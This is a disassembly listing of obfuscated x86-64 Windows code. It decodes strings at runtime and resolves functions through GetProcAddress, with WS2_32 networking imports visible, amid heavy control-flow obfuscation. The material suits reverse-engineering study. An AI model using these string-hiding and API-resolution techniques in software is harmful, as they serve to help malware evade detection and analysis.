movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x26
jmp 0x140067a0a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140067545
lea edx, [rsi + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec rsi
inc rsi
jmp 0x140067332
mov byte [rbp + rsi + 0x260], dil
inc rsi
jmp 0x140067332
movzx r9d, sil
lea edx, [r9 - 8]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140067a0a
movzx r9d, sil
lea edx, [r9 - 0x12]
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140067903
movzx r9d, sil
lea ecx, [r9 - 0x2f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x49
add r9b, 0x69
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x21
add r9b, r11b
movzx eax, r9b
mov byte [rbp + rsi + 0x260], al
inc r8
add rax, r8
sub rsi, rax
jmp 0x140067a67
lea ecx, [rsi - 0x1b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x43
jmp 0x140067a2d
lea ecx, [rsi - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x31
dec rsi
inc rsi
jmp 0x140067332
movzx r9d, sil
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5b
jmp 0x1400679a3
movzx r9d, sil
lea ecx, [r9 + 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x19
add r9b, 0x7d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x6b
add r9b, r11b
mov byte [rbp + rsi + 0x260], r9b
inc r8
dec rsi
inc rsi
jmp 0x140067332
lea ecx, [rsi + 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x73
dec rsi
inc rsi
jmp 0x140067332
movzx r9d, sil
lea ecx, [r9 + 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x47
add r9b, 0x73
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x25
add cl, r9b
add cl, r11b
mov byte [rbp + rsi + 0x260], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140067332
movabs rax, 0x741047bbdc937367
add rax, rsi
and r14b, al
add r14b, r14b
sub al, r14b
lea edi, [r11 + rax]
add dil, 0x2f
lea ecx, [rsi - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x3c
add cl, r11b
mov byte [rbp + rsi + 0x260], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rsi, rax
movzx eax, byte [rbp + rsi + 0x260]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140067332
lea rax, [rsi + r13]
and r14b, al
add r14b, r14b
sub al, r14b
lea edi, [r11 + rax]
sub dil, 0x17
movzx eax, byte [rbp + rsi + 0x260]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140067332
sub sil, 0xf
movzx eax, sil
and al, r11b
add al, al
sub sil, al
lea edi, [r11 + rsi]
add dil, 0x69
jmp 0x140067320
lea rdx, [rbp + 0x1505104]
jmp 0x140067b08
lea rdx, [rbp + 0x6dce7f]
jmp 0x140067b08
lea rdx, [rbp + 0x260]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x290], 0x4f
mov byte [rbp + 0x291], 0x2e
mov byte [rbp + 0x292], gethostname
mov byte [rbp + 0x293], 0x5e
mov byte [rbp + 0x294], gethostname
mov byte [rbp + 0x295], 0x3c
mov byte [rbp + 0x296], 0x3c
mov byte [rbp + 0x297], gethostname
mov byte [rbp + 0x298], 0x3d
mov byte [rbp + 0x299], 0x5e
mov byte [rbp + 0x29a], gethostname
mov byte [rbp + 0x29b], 0x27
mov byte [rbp + 0x29c], 0x24
mov byte [rbp + 0x29d], 0x3e
mov byte [rbp + 0x29e], gethostname
mov byte [rbp + 0x29f], 0x2a
mov byte [rbp + 0x2a0], 0xa6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a1], xmm0
mov qword [rbp + 0x2b1], rax
mov word [rbp + 0x2b9], ax
mov byte [rbp + 0x2bb], al
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x2c
jae 0x140068782
movzx r10d, byte [rbp + r11 + 0x290]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x140068779
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140067c1f
lea rcx, [r11 + 0x11be9]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x5f
jmp 0x140067c50
je 0x140068708
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006867c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006864c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140068609
nop dword [rax]
cmp r8, r11
ja 0x140068770
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140067c7a
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
jmp 0x140067cc0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400685c2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400685a1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140068583
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140068568
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006854d
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140068264
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140068241
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140068219
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400681f7
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400681d4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400681b2
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140068193
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140068174
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140068155
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140068124
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140067cd0
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140068753
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140068736
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140067ec6
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140067eab
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140067e90
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400680d3
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140068089
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140068045
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006801e
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140067cd0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 1]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140067ff0
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140067fd1
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140067fb2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140067f93
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140067f74
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140067f51
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140067f2c
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140067f04
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140067ee1
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140067cd0
lea rbx, [r8 + 0x61]
lea r8, [rbx + 2]
jmp 0x140067cd0
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
jmp 0x140067cc0
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
jmp 0x140067c50
lea ecx, [r11 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
jmp 0x140067be6
lea edx, [r11 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
add dil, dl
movzx r9d, r11b
jmp 0x1400685dc
lea edx, [r11 + 0x16]
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x140067bd3
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140067bd3
lea edx, [r11 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1e
add dil, dl
movzx r9d, r11b
jmp 0x140068623
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x60
add rbx, r8
jmp 0x140068663
lea edx, [r11 - 0x32]
movzx eax, r10b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140068663
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140068698
lea edx, [r11 + 0x2a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x26
add dil, dl
jmp 0x1400686c3
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x68
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140067bd3
lea ecx, [r11 - 0x35]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x73
mov byte [rbp + r11 + 0x290], dil
inc r11
jmp 0x140067bd3
lea edx, [r11 - 7]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x31
add dil, dl
cmp r8, 8
jb 0x140068035
movzx r9d, r11b
lea edx, [r9 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1400685dc
lea edx, [r11 + 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x11
add dil, dl
cmp rbx, 6
jae 0x140068510
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x140068425
lea edx, [r11 - 0x5e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6e
jmp 0x14006805c
lea edx, [r11 + 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x53
add dil, dl
lea rax, [rbx + r8]
cmp rax, 5
je 0x140068537
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140068346
lea edx, [r11 - 0x7b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x5d
jmp 0x1400680a0
lea edx, [r11 - 0x52]
movzx eax, r10b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140067bd3
lea edx, [r11 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 4
add dil, dl
jmp 0x1400686c3
lea edx, [r11 + 0xa]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x46
add dil, dl
jmp 0x140068698
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140068663
lea edx, [r11 + 0x66]
movzx eax, r10b
and al, dl
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x140068663
movzx r9d, r11b
lea edx, [r9 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xc
add dil, dl
jmp 0x140068623
lea ecx, [r11 - 0x3e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x4e
dec r11
inc r11
jmp 0x140067bd3
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x140067bd3
movzx r9d, r11b
lea edx, [r9 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400685dc
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14006828b
lea ecx, [r11 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
jmp 0x1400680ed
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400682c5
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140067bd3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400682e9
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x140068698
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140068311
movzx r9d, r11b
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140068623
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400680ed
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140067bd3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140068372
movzx r9d, r11b
lea edx, [r9 + 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x61
add dil, dl
jmp 0x1400685dc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006839d
lea ecx, [r11 - 5]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x23
dec r11
inc r11
jmp 0x140067bd3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400683c2
lea ecx, [r11 + 0x71]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x17
jmp 0x140068663
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400683ea
lea edx, [r11 + 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x2b
add dil, dl
jmp 0x140068698
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400680a3
lea ecx, [r11 - 0x19]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x51
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140067bd3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006845c
lea ecx, [r11 + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x2c
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140067bd3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140068484
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140068698
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400684b0
movzx r9d, r11b
lea edx, [r9 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140068623
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400684de
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140067bd3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006805f
lea ecx, [r11 + 0x32]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x5e
inc r8
dec r11
inc r11
jmp 0x140067bd3
movzx r9d, r11b
lea edx, [r9 - 0x58]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 + 0x290]
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140068623
lea ecx, [r11 + 0x7a]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x56]
jmp 0x140068698
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 3
jmp 0x140068698
lea ecx, [r11 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
jmp 0x140068663
lea ecx, [r11 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
add rbx, r8
jmp 0x140068663
lea ecx, [r11 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
dec r11
inc r11
jmp 0x140067bd3
movzx r9d, r11b
lea ecx, [r9 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x77
sub r9b, 0x41
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x39
add r10b, r9b
mov byte [rbp + r11 + 0x290], r10b
inc r8
dec r11
inc r11
jmp 0x140067bd3
movzx r9d, r11b
lea ecx, [r9 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
sub r9b, 0x6f
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
add cl, 9
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x290], cl
add rbx, r8
jmp 0x140068663
lea rcx, [r11 + 0x9fb31]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x57
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140067bd3
lea rcx, [r11 + 0x7c35f]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x67
lea edx, [r11 + 0x63]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x4b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x290], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x4c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x14
add r10b, cl
mov byte [rbp + r11 + 0x290], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140067bd3
lea rcx, [r11 + 0x353bb]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x1d
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140067bd3
add r11b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x5b
jmp 0x140067bd0
add r11b, 0x3b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x63
jmp 0x140067bb4
lea rdx, [rbp + 0x17ec31c]
jmp 0x140068789
lea rdx, [rbp + 0xffdf05]
jmp 0x140068789
lea rdx, [rbp + 0x290]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov byte [rbp - 0x30], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp - 0x2f], 0x92
mov byte [rbp - 0x2e], __WSAFDIsSet
mov byte [rbp - 0x2d], 0x9f
mov byte [rbp - 0x2c], 0x83
mov byte [rbp - 0x2b], __WSAFDIsSet
mov byte [rbp - 0x2a], 0x92
mov byte [rbp - 0x29], 0x9b
mov byte [rbp - 0x28], 0xaf
mov byte [rbp - 0x27], 0xb8
mov byte [rbp - 0x26], 0x63
mov byte [rbp - 0x25], 0x23
xor eax, eax
mov dword [rbp - 0x24], eax
movabs rsi, 0x8872fce0921c9c07
movabs r14, 0xcc0ae3e523017c3f
movabs r13, 0xbb24ea23fec84431
movabs r12, 0x9958f6a1b655d415
movzx edi, byte [rbp + 0x400]
nop dword [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x10
jae 0x140069189
movzx r10d, byte [rbp + r11 - 0x30]
mov r9, r10
cmp rbx, r11
ja 0x140069180
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140068852
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x31
jmp 0x140068890
je 0x140069113
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006908f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140069060
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006903f
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140069000
nop dword [rax]
cmp r8, r11
ja 0x140069177
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400688ba
lea ecx, [r11 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
jmp 0x140068900
je 0x140068fe5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140068fc4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140068f83
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140068f68
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140068f3e
nop dword [rax]
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140068bc7
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140068ba9
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140068b85
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140068b60
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140068b41
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140068b1f
lea rbx, [r8 + 8]
lea r8, [rbx + 5]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006915a
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006913d
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140068a44
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140068a29
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140068a0e
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140068af5
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140068ada
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140068abb
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140068aa0
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140068a7e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140068a5f
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140068910
lea rbx, [r8 + 0x61]
lea r8, [rbx + 3]
jmp 0x140068910
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x65
jmp 0x140068900
lea ecx, [r11 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x140068890
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
jmp 0x140068823
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
movzx edx, r11b
jmp 0x140069019
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x140069076
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140069076
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400690ad
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x1400690d2
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140068813
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x140069076
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
movzx r9d, r11b
jmp 0x140068f9d
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140068813
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x140068813
movzx edx, r11b
lea ecx, [rdx + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x140069019
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140068c7a
lea ecx, [r11 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
lea rax, [rbx + r8]
cmp rax, 0x28
je 0x140068f28
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140068d56
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x53
cmp rbx, 0x400
jae 0x140068f07
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140068e2d
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 1
jb 0x140068efa
movzx edx, r11b
lea ecx, [rdx - 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0xc]
jmp 0x140069019
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140068cad
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140068813
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140068cd5
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400690ad
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140068d01
movzx r9d, r11b
lea edx, [r9 + 0x6c]
